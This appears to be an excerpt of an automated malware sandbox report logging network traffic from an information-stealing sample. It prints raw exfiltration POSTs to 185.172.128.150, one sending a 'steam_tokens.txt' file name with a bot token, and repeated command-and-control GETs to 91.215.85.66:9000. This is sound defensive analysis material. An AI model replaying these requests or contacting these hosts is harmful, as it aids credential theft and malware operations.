Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGDHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHCGIJECFIECBFIDGDHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAFHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBKHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBFIJJECFIEBGDGCFIJHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAEHCAEGDHJKFHJKFIJHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGIDHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHCHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJEHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHDHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJHost: 185.172.128.150Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEBHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEBHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJEBGDAFHIJJKEHCAAHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJKEHJEGCFCAKFIIJJJHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBKHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJEHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBKHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAEHCAEGDHJKFHJKFIJHost: 185.172.128.150Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHHost: 185.172.128.150Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file"------EBAAFCAFCBKFHJJJKKFH--
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKHost: 185.172.128.150Content-Length: 95059Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c698e1bc8a2f5e6d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBFHost: 185.172.128.150Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 63 61 65 35 61 62 35 31 36 65 33 37 34 35 64 65 32 30 32 36 39 65 39 32 64 63 63 64 34 64 37 34 36 37 66 32 66 33 33 31 62 64 64 30 32 66 31 63 64 62 36 37 64 66 65 36 39 63 30 61 37 34 31 30 64 39 61 38 64 62 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 2d 2d 0d 0a Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"ccae5ab516e3745de20269e92dccd4d7467f2f331bdd02f1cdb67dfe69c0a7410d9a8db3------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="message"jbdtaijovg------FBFCFIEBKEGHIDGCAFBF--
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wbinjget?q=8587D7BC4236146899B093C1B42EFE08 HTTP/1.1Host: 91.215.85.66:9000Connection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.172.128.90 185.172.128.90
Source: Joe Sandbox View IP Address: 176.97.76.106 176.97.76.106
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NADYMSS-ASRU NADYMSS-ASRU
Source: Joe Sandbox View ASN Name: NADYMSS-ASRU NADYMSS-ASRU
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: unknown TCP traffic detected without corresponding DNS query: 185.172.128.59
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_0042676C __EH_prolog,WSAStartup,socket,WSACleanup,gethostbyname,htons,connect,send,send,recv,recv,recv,recv,recv,WSACleanup,closesocket, 5_2_0042676C
